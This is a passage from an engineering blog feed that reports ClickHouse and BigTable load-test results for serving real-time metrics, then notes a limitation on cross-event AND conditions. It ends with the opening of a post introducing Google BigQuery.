7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Clickhouse’s CPU stats while benchmark test:</h3> The statistics below(Figure 3) demonstrate that the CPU usage of the ClickHouse cluster, which consisted of 3 VMs with configurations of 32 cores and 32GB each, was around 50% during the benchmark test, supporting our hypothesis. <h4 id="figure-3-cpu-utilization-of-clickhouses-cluster-during-the-load-test" style="position:relative;"><a href="#figure-3-cpu-utilization-of-clickhouses-cluster-during-the-load-test" aria-label="figure 3 cpu utilization of clickhouses cluster during the load test permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figure 3: CPU utilization of ClickHouse's cluster during the load test</h4> <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/1baf6aab798f94238aa77c89ebc97364/302a4/figure3-ch-cluster-cpu-usages.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 36.99421965317919%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAAAzklEQVQoz41Ri4rEIBDr/39oC1vXt1W3jjlnet3CcnQvEEbDGEKcMBBCgFIKy7LAGIN5nkVj9N6/kpFzBhFhOoW/cD24N2SjmNJlKOIvz4VjdrTBXOmr6YkJN9CRkArBbYT/gI0loXYJT5vgU4UyEc9x127DvHoYn7FqDy0zwIaC1QTRlY3y9mELSt2PhGzofBTubaQJET4kbLmMj4motcI5h1xeMNaPWWFdQNoyfBwheGcnqUkMW2ucVToSkc/SC737PPr7nP3apcOQvX4AItgmWsvcp/QAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="figure3 ch cluster cpu usages" title="figure3 ch cluster cpu usages" src="/static/1baf6aab798f94238aa77c89ebc97364/1e043/figure3-ch-cluster-cpu-usages.png" srcset="/static/1baf6aab798f94238aa77c89ebc97364/991de/figure3-ch-cluster-cpu-usages.png 173w, /static/1baf6aab798f94238aa77c89ebc97364/e4d6b/figure3-ch-cluster-cpu-usages.png 345w, /static/1baf6aab798f94238aa77c89ebc97364/1e043/figure3-ch-cluster-cpu-usages.png 690w, /static/1baf6aab798f94238aa77c89ebc97364/e3189/figure3-ch-cluster-cpu-usages.png 1035w, /static/1baf6aab798f94238aa77c89ebc97364/302a4/figure3-ch-cluster-cpu-usages.png 1080w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> <h3 id="when-powered-through-bigtable" style="position:relative;"><a href="#when-powered-through-bigtable" aria-label="when powered through bigtable permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>When Powered through BigTable:</h3> During the benchmark tests(Figure 4), we employed a single-node BigTable cluster with 5 GB SSD. In the initial test, which ran for 7 minutes from 5:45:10 PM to 5:53:31 PM (time included to facilitate the Bigtable statistics provided below), we hit 20 REST APIs concurrently powered by Bigtable. The average response time was 31 ms, with 90% of the requests taking 49 ms. During this test, Bigtable's CPU usage was approximately 5%(Figure 6), with 14,000 rows read per second and 160 requests per second (Figure 7 and Figure 8). <h4 id="figure-4-stats-of-load-test-2-when-metrics-are-powered-through-bigtable" style="position:relative;"><a href="#figure-4-stats-of-load-test-2-when-metrics-are-powered-through-bigtable" aria-label="figure 4 stats of load test 2 when metrics are powered through bigtable permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figure 4: Stats of Load Test-2 (When metrics are powered through BigTable)</h4> <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/91ddf97ca3393b0fa8417c4c390310a8/2e92a/figure4-perf-nums-through-bt.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 24.277456647398846%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAwklEQVQY03VQUa7DMAjr/Q/b15CkgQDxIOum/TwkK0CMsThkKtQcFnDHfnVjgcUgcwYMc2auu2++Ho7v3J63UMPRbtmNzoyzEgYLNAbr1VCaoPUBKidKuSJnCHfcd91LEo04at7iV6k4+hBkjCk46QpXgmVBJsInpsSiu2EtwLWjt4KphhWuarlDcGwepcMxBjjcMb+FV0zV9h7+GwS2+RXOv+z/1r9BNQRV4y6xLZ1ZOEuSxzFzu7rBlz9C/yP5H8EXEn+IxMfm3g8AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="figure4 perf nums through bt" title="figure4 perf nums through bt" src="/static/91ddf97ca3393b0fa8417c4c390310a8/1e043/figure4-perf-nums-through-bt.png" srcset="/static/91ddf97ca3393b0fa8417c4c390310a8/991de/figure4-perf-nums-through-bt.png 173w, /static/91ddf97ca3393b0fa8417c4c390310a8/e4d6b/figure4-perf-nums-through-bt.png 345w, /static/91ddf97ca3393b0fa8417c4c390310a8/1e043/figure4-perf-nums-through-bt.png 690w, /static/91ddf97ca3393b0fa8417c4c390310a8/e3189/figure4-perf-nums-through-bt.png 1035w, /static/91ddf97ca3393b0fa8417c4c390310a8/b1001/figure4-perf-nums-through-bt.png 1380w, /static/91ddf97ca3393b0fa8417c4c390310a8/2e92a/figure4-perf-nums-through-bt.png 2508w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> In another benchmark test(Figure 5) that ran for 7 minutes from 5:37:20 PM to 5:44:33 PM (time included to facilitate the Bigtable statistics provided below), we hit 40 REST APIs concurrently powered by Bigtable. The average response time was 30ms, with 90% of the requests taking 45ms. During this test, Bigtable's CPU usage was approximately 7%(Figure 6), with 28,000 rows read per second and 320 requests per second (Figure 7 and Figure 8). <h4 id="figure-5-stats-of-load-test-3-when-metrics-are-powered-through-bigtable" style="position:relative;"><a href="#figure-5-stats-of-load-test-3-when-metrics-are-powered-through-bigtable" aria-label="figure 5 stats of load test 3 when metrics are powered through bigtable permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figure 5: Stats of Load Test-3 (When metrics are powered through BigTable)</h4> <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/4cee5ebec9f7de18cefa1f9de9f03048/f1d9a/figure5-perf-nums-through-bt.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 24.277456647398846%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsSAAALEgHS3X78AAAAyklEQVQY021Q7W7EIAzr+7/qtN0KbcgXeA7VSfdjkSIINsb4cA9kTsy5sBaQXHNO+ASGBlQNalzN2UbuIhcI3onMza2OyK1z3MM2eI2Br/MXQoGgQH81dHGIDPT2jdY7ZDhMb8jdYJ67+zlwi8IpWAYO48tV6oZXO0kKTIJGgacW3BrGENA8McFNwXK0eHA1IaabWQ8cqkpl3V/b1/nvfl17/zPoJAPvKqxi+Zw/hkcwImj3yWoyiyJVJpWpz6Sr52xusfXv/j2X4B9qQolDWzGcrwAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="figure5 perf nums through bt" title="figure5 perf nums through bt" src="/static/4cee5ebec9f7de18cefa1f9de9f03048/1e043/figure5-perf-nums-through-bt.png" srcset="/static/4cee5ebec9f7de18cefa1f9de9f03048/991de/figure5-perf-nums-through-bt.png 173w, /static/4cee5ebec9f7de18cefa1f9de9f03048/e4d6b/figure5-perf-nums-through-bt.png 345w, /static/4cee5ebec9f7de18cefa1f9de9f03048/1e043/figure5-perf-nums-through-bt.png 690w, /static/4cee5ebec9f7de18cefa1f9de9f03048/e3189/figure5-perf-nums-through-bt.png 1035w, /static/4cee5ebec9f7de18cefa1f9de9f03048/b1001/figure5-perf-nums-through-bt.png 1380w, /static/4cee5ebec9f7de18cefa1f9de9f03048/f1d9a/figure5-perf-nums-through-bt.png 2710w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> <h3 id="bigtables-monitoring-stats-while-benchmark-test" style="position:relative;"><a href="#bigtables-monitoring-stats-while-benchmark-test" aria-label="bigtables monitoring stats while benchmark test permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>BigTable’s monitoring stats while benchmark test:</h3> <h4 id="figure-6-cpu-utilization-of-bigtables-node-during-the-load-tests" style="position:relative;"><a href="#figure-6-cpu-utilization-of-bigtables-node-during-the-load-tests" aria-label="figure 6 cpu utilization of bigtables node during the load tests permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figure 6: CPU utilization of BigTable's node during the load tests</h4> <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/e8a1c8c3f5b1eed102cf32e0fde1b117/bc43a/figure6-bt-cpu-monitoring-stats.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 24.277456647398846%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAoklEQVQY051PSQ7CMAzs/z8HL+gBhMSlospKYjuDnVAEFVyw5CXjyDMzLfOM4D1aa39nLQX3ENFEMKXDEU0B2JK5pzz7e/7CoEdSjFhOF1hMVpgFRKQ76YwWo+Jj3mPbO+cMF/M4mEJCULlebRdVSsRqgUBVSeqYmWSHcceKYsINzmWcr2EcXG/r65gpZLVhaq0zcScYGH/Bxr+iJD6SuhM8AHTpiYqiJs/PAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="figure6 bt cpu monitoring stats" title="figure6 bt cpu monitoring stats" src="/static/e8a1c8c3f5b1eed102cf32e0fde1b117/1e043/figure6-bt-cpu-monitoring-stats.png" srcset="/static/e8a1c8c3f5b1eed102cf32e0fde1b117/991de/figure6-bt-cpu-monitoring-stats.png 173w, /static/e8a1c8c3f5b1eed102cf32e0fde1b117/e4d6b/figure6-bt-cpu-monitoring-stats.png 345w, /static/e8a1c8c3f5b1eed102cf32e0fde1b117/1e043/figure6-bt-cpu-monitoring-stats.png 690w, /static/e8a1c8c3f5b1eed102cf32e0fde1b117/e3189/figure6-bt-cpu-monitoring-stats.png 1035w, /static/e8a1c8c3f5b1eed102cf32e0fde1b117/b1001/figure6-bt-cpu-monitoring-stats.png 1380w, /static/e8a1c8c3f5b1eed102cf32e0fde1b117/bc43a/figure6-bt-cpu-monitoring-stats.png 2676w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> <h4 id="figure-7-read-requests-of-the-bigtables-node-during-the-load-tests" style="position:relative;"><a href="#figure-7-read-requests-of-the-bigtables-node-during-the-load-tests" aria-label="figure 7 read requests of the bigtables node during the load tests permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figure 7: Read requests of the BigTable's node during the load tests</h4> <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/e900f28e7cc4550aeb861d812feb821a/5e17e/figure7-bt-rows-read-monitoring-stats.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 24.85549132947977%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAABYlAAAWJQFJUiTwAAAApklEQVQY01VQyxLDIAj0/3+zh96axkk1vKQ8qkmdIbC47EoKAGitVXvv6meMEWHVqie+x/1ORBQRlZm1+GeCRRIjsRjxGmLDhBzBJC75Z/badj1P0DLCcZ4kEEoMIXCKS/Zk1iSBI1NyXZCI/IU+SMvdReIFIwXgzLsUk7UixwaZramP565HQy29gW7bO/5ja83EONYn4higH56RIp6vnpvXD2oz8y+GbIpujABlNgAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="figure7 bt rows read monitoring stats" title="figure7 bt rows read monitoring stats" src="/static/e900f28e7cc4550aeb861d812feb821a/1e043/figure7-bt-rows-read-monitoring-stats.png" srcset="/static/e900f28e7cc4550aeb861d812feb821a/991de/figure7-bt-rows-read-monitoring-stats.png 173w, /static/e900f28e7cc4550aeb861d812feb821a/e4d6b/figure7-bt-rows-read-monitoring-stats.png 345w, /static/e900f28e7cc4550aeb861d812feb821a/1e043/figure7-bt-rows-read-monitoring-stats.png 690w, /static/e900f28e7cc4550aeb861d812feb821a/e3189/figure7-bt-rows-read-monitoring-stats.png 1035w, /static/e900f28e7cc4550aeb861d812feb821a/b1001/figure7-bt-rows-read-monitoring-stats.png 1380w, /static/e900f28e7cc4550aeb861d812feb821a/5e17e/figure7-bt-rows-read-monitoring-stats.png 2668w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> <h4 id="figure-8-rows-read-of-the-bigtables-node-during-the-load-tests" style="position:relative;"><a href="#figure-8-rows-read-of-the-bigtables-node-during-the-load-tests" aria-label="figure 8 rows read of the bigtables node during the load tests permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figure 8: Rows read of the BigTable's node during the load tests</h4> <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/6a9185ccbf9360787b46a5071111bfaf/bc43a/figure8-bt-read-request-monitoring-stats.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 24.277456647398846%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAqklEQVQY01VQAQ6EIAzj/0+9nIqCHrKN3jYk6pKGtdDCCLVW5JxRSoFVa82hnWNwhzSI9PWpW1kOESGIiDfM/DpEpHqVHqBcWFBPvnR23nAHprxjiRvC6wVNrjAGq5GHWS89C93hztn3DHYuxoR5iRpoY3CHB1B/iZk8XA1mtr2hGZg7t9XqO2V8ph3hd5yYp0VvWLFtScOqjzO+wWD982sGhmaT5YMQU8UfWbCKEUV8/+UAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="figure8 bt read request monitoring stats" title="figure8 bt read request monitoring stats" src="/static/6a9185ccbf9360787b46a5071111bfaf/1e043/figure8-bt-read-request-monitoring-stats.png" srcset="/static/6a9185ccbf9360787b46a5071111bfaf/991de/figure8-bt-read-request-monitoring-stats.png 173w, /static/6a9185ccbf9360787b46a5071111bfaf/e4d6b/figure8-bt-read-request-monitoring-stats.png 345w, /static/6a9185ccbf9360787b46a5071111bfaf/1e043/figure8-bt-read-request-monitoring-stats.png 690w, /static/6a9185ccbf9360787b46a5071111bfaf/e3189/figure8-bt-read-request-monitoring-stats.png 1035w, /static/6a9185ccbf9360787b46a5071111bfaf/b1001/figure8-bt-read-request-monitoring-stats.png 1380w, /static/6a9185ccbf9360787b46a5071111bfaf/bc43a/figure8-bt-read-request-monitoring-stats.png 2676w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> <h2 id="limitations" style="position:relative;"><a href="#limitations" aria-label="limitations permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Limitations:</h2> As we process the real-time data, we evaluate the given metrics from the raw events based on the conditions defined by the client. We do not and would not be able to compute “AND” conditions which are based on two different events such as addToCart and checkedOut as illustrated below. For example, we won’t be able to support conditions like <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/e9a98eef2856b18cd4b8484de7c0e4a6/cf8e5/figure9-limitation.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 12.138728323699423%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAIAAADXZGvcAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAYElEQVQI1yWLyw7CMAwE+//fCWpKHrbX65SmHLBAGu1hNLuBMWAD6DB1qDvInzEBcrupOdMbyZh/nBHz3MRRtBWtTzkapGc247C2a60Yu74eo0igu1pw3Z9r3cn7Wnn+AvPKcUaEHYOgAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="figure9 limitation" title="figure9 limitation" src="/static/e9a98eef2856b18cd4b8484de7c0e4a6/1e043/figure9-limitation.png" srcset="/static/e9a98eef2856b18cd4b8484de7c0e4a6/991de/figure9-limitation.png 173w, /static/e9a98eef2856b18cd4b8484de7c0e4a6/e4d6b/figure9-limitation.png 345w, /static/e9a98eef2856b18cd4b8484de7c0e4a6/1e043/figure9-limitation.png 690w, /static/e9a98eef2856b18cd4b8484de7c0e4a6/e3189/figure9-limitation.png 1035w, /static/e9a98eef2856b18cd4b8484de7c0e4a6/b1001/figure9-limitation.png 1380w, /static/e9a98eef2856b18cd4b8484de7c0e4a6/cf8e5/figure9-limitation.png 1402w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> however we support the “OR” condition between different events. <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/92bc80170dfd2c7aa33f77b53402fd97/82c1e/figure10-limitation.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 12.138728323699423%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAIAAADXZGvcAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAWElEQVQI1z3LQQqAMAxEUe9/ThFb28RMkharCyMF4TOLB7PAnSAEVDlZlRVixkBgbIWEf6KAuXn7U29LHJKUJHWlvShH2v0AJdQM2jiHT7Hexniucc+s9Rf1fnFaewnHLAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="figure10 limitation" title="figure10 limitation" src="/static/92bc80170dfd2c7aa33f77b53402fd97/1e043/figure10-limitation.png" srcset="/static/92bc80170dfd2c7aa33f77b53402fd97/991de/figure10-limitation.png 173w, /static/92bc80170dfd2c7aa33f77b53402fd97/e4d6b/figure10-limitation.png 345w, /static/92bc80170dfd2c7aa33f77b53402fd97/1e043/figure10-limitation.png 690w, /static/92bc80170dfd2c7aa33f77b53402fd97/e3189/figure10-limitation.png 1035w, /static/92bc80170dfd2c7aa33f77b53402fd97/b1001/figure10-limitation.png 1380w, /static/92bc80170dfd2c7aa33f77b53402fd97/82c1e/figure10-limitation.png 1398w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> Conditions which can be evaluated from a single event, are being supported because while processing events in real-time and computing conditions based on them, we don't process historical events. Even if we try to store the historical events, it will increase our system cost multifold. If we keep aside the cost, the logic to solve this case will be very complex to build. Rather, solving such cases using ClickHouse will prove more efficient, both in terms of resources and technical difficulty. Thus the AND operation of two events can not be supported. <h2 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion:</h2> <ul> <li>We designed an alternate process to compute dynamically defined metrics that are computed in the data ingestion pipeline using BigTable.</li> <li>We reduced the API response time from sub-seconds to approximately 30 ms for our production load.</li> <li>We reduced our System cost by not computing metrics at the time of reading data from Clickhouse. This is attributed to the high CPU-intensive architecture of Clickhouse.</li> </ul> <h2 id="helpful-resources" style="position:relative;"><a href="#helpful-resources" aria-label="helpful resources permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Helpful Resources</h2> <ul> <li><a href="http://vwo.com">VWO | #1 A/B Testing Tool in the World</a></li> <li><a href="https://cloud.google.com/bigtable">Google's Cloud Bigtable</a></li> <li><a href="https://cloud.google.com/bigquery">Google’s Bigquery</a></li> <li><a href="https://clickhouse.com/">Fast Open-Source OLAP DBMS - Clickhouse</a></li> <li><a href="https://redis.io/">Redis - The open source, in-memory data store</a></li> <li><a href="https://beam.apache.org/documentation/">Apache Beam Documentation</a></li> </ul></content:encoded><author>Anil Mor</author></item><item><title><![CDATA[Google BigQuery: Why & How we power our Data Platform with it]]></title><description><![CDATA[Introduction BigQuery is a completely serverless and cost-effective enterprise data warehouse provided by the Google Cloud Platform. Just…]]></description><link>https://engineering.wingify.com//posts/google-bigquery-why-how-we-power-our-data-platform/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/google-bigquery-why-how-we-power-our-data-platform/</guid><pubDate>Thu, 22 Dec 2022 00:00:00 GMT</pubDate><content:encoded><h2 id="introduction" style="position:relative;"><a href="#introduction" aria-label="introduction permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Introduction</h2> BigQuery is a completely serverless and cost-effective enterprise data warehouse provided by the Google Cloud Platform. Just like any other data warehouse present out there, it’s a relational database that is designed for read/write queries and data analysis. Do note that these databases are not optimized for transaction processing, which is the domain of OLTP systems. Data warehouses usually consolidate historical and analytic data derived from multiple sources. Data 